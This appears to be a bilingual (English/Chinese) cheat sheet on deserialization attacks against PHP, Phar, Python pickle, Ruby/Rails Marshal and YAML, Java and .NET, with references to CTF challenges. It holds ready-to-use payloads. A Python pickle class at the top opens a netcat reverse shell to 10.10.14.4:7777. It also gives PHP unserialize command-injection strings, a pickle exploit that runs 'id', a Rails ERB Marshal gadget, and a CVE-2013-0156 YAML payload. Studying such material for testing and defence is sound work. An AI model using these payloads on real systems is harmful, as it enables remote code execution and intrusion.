Deserialization Vulnerability
Table of Contents
tags: Security Web
PHP deserialization
PHP Phar deserialization
Python Pickle
Exploiting Python pickles (Mind RCE(object))
create_payload.py
import pickle
import base64
import os
class RCE(object):
def __reduce__(self):
cmd = ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.4 7777 > /tmp/f')
return os.system, (cmd,)
def create_payload():
pickled = pickle.dumps(RCE())
payload = base64.urlsafe_b64encode(pickled)
print(payload)
Java deserialization
ASP.NET deserialization
Other
PHP - Serialize() / Unserialize()
-
__construct()- Object被new時調用,但unserialize()不調用
-
__destruct()- Object被銷毀時調用
-
__wakeup()- unserialize時自動調用
-
__sleep()- 被serialize時調用
-
__toString()- 物件被當成字串時調用
-
Value
- String
-
s:size:value;
-
- Integer
-
i:value;
-
- Boolean
-
b:value;(‘1’ or ‘0’)
-
- NULL
-
N;
-
- Array
-
a:size:{key definition; value definition; (repeat per element)}
-
- Object
-
O:strlen(class name):class name:object size:{s:strlen(property name):property name:property definition;(repeat per property)}
-
- 其他
- C - custom object
- R - pointer reference
- String
-
Public / Private / Protected 序列化
-
例如:class名字為:
Kaibro,變數名字:test -
若為Public,序列化後:
-
...{s:4:"test";...}
-
-
若為Private,序列化後:
-
...{s:12:"%00Kaibro%00test"}
-
-
若為Protected,序列化後:
-
...{s:7:"%00*%00test";...}
-
-
Private和Protected會多兩個NULL byte
-
- Example
<?php
class Kaibro {
public $test = "ggininder";
function __wakeup()
{
system("echo ".$this->test);
}
}
$input = $_GET['str'];
$kb = unserialize($input);
- Input:
.php?str=O:6:"Kaibro":1:{s:4:"test";s:3:";id";} - Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Example 2 - Private
<?php
class Kaibro {
private $test = "ggininder";
function __wakeup()
{
system("echo ".$this->test);
}
}
$input = $_GET['str'];
$kb = unserialize($input);
-
Input:
.php?str=O:6:"Kaibro":1:{s:12:"%00Kaibro%00test";s:3:";id";} -
Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
-
CVE-2016-7124
- 影響版本:
- PHP5 < 5.6.25
- PHP7 < 7.0.10
- 物件屬性個數大於真正的屬性個數,會略過
__wakeup的執行 - 反序列化會失敗,但是
__destruct會執行 - HITCON 2016
- 影響版本:
-
小特性
-
O:+4:"test":1:{s:1:"a";s:3:"aaa";} -
O:4:"test":1:{s:1:"a";s:3:"aaa";} - 兩者結果相同
-
-
Phar:// 反序列化
- phar文件會將使用者自定義的metadata以序列化形式保存
- 透過
phar://偽協議可以達到反序列化的效果 - 常見影響函數:
file_get_contents(),file_exists(),is_dir(), … - Generic Gadget Chains
- Example
- HITCON CTF 2017 - Baby^H Master PHP 2017
- HITCON CTF 2018 - Baby Cake
- DCTF 2018 - Vulture
Python Pickle
-
dumps()將物件序列化成字串 -
loads()將字串反序列化
Example:
a.py:
import os
import cPickle
import sys
import base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('id',))
shellcode = cPickle.dumps(Exploit())
print base64.b64encode(shellcode)
b.py:
import os
import cPickle
import sys
import base64
s = raw_input(":")
print cPickle.loads(base64.b64decode(s))
$ python a.py > tmp
$ cat tmp | python b.py
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
Ruby/Rails Marshal
this one is not self-executing
this one actually relies on rails invoking a method on the resulting object after the deserialization
erb = ERB.allocate
erb.instance_variable_set :@src, "`id`"
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result, "foo", ActiveSupport::Deprecation
hash = {depr => 'something'}
marshalled = Marshal.dump(hash)
print marshalled
在ERB上,當result或run method被call時,@src的string會被執行
- 常見使用情境:
- 以Marshal為Cookie Serializer時,若有
secret_key,則可以偽造Cookie - 也可以透過
DeprecatedInstanceVariableProxy去執行ERB的result來RCE- 當
DeprecatedInstanceVariableProxy被unmarshal,rails session對他處理時遇到不認識的method就會呼叫method_missing,導致執行傳入的ERB -
@instance.__send__(@method)
- 當
- 以Marshal為Cookie Serializer時,若有
- Cookie Serializer
- Rails 4.1以前的Cookie Serializer為Marshal
- Rails 4.1開始,默認使用JSON
Ruby/Rails YAML
- CVE-2013-0156
- 舊版本的Rails中,
XML的node可以自訂type,如果指定為yaml,是會被成功解析的 - 若反序列化
!ruby/hash,則相當於在物件上調用obj[key]=val,也就是[]=方法 - 而這個
ActionDispatch::Routing::RouteSet::NamedRouteCollection中的[]=方法中,有一條代碼路徑可以eval -
define_hash_access中可以看到module_eval,裏頭的selector來自name - 因為他還會對
value調用defaultsmethod,所以可以利用OpenStruct來構造-
函數名=>返回值的對應關係存放在@table中
-
- Payload:
xml = %{ <?xml version="1.0" encoding="UTF-8"?> <bingo type='yaml'> ---| !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection 'test; sleep(10); test' : !ruby/object:OpenStruct table: :defaults: {} </bingo> }.strip - 舊版本的Rails中,
- CVE-2013-0333
- Rails 2.3.x和3.0.x中,允許
text/json的request轉成YAML解析 -
Yaml在Rails 3.0.x是預設的JSON Backend - 出問題的地方在於
YAML.load前的convert_json_to_yaml,他不會檢查輸入的JSON是否合法 - 一樣可以透過
ActionController::Routing::RouteSet::NamedRouteCollection#define_hash_access的module_eval來RCE
- Rails 2.3.x和3.0.x中,允許
Java Deserialization
- https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
.NET Derserialization
- ysoserial.net
- asp.net中ViewState以序列化形式保存資料
- 有machinekey或viewstate未加密/驗證時,可以RCE
- Example
- HITCON CTF 2018 - Why so Serials?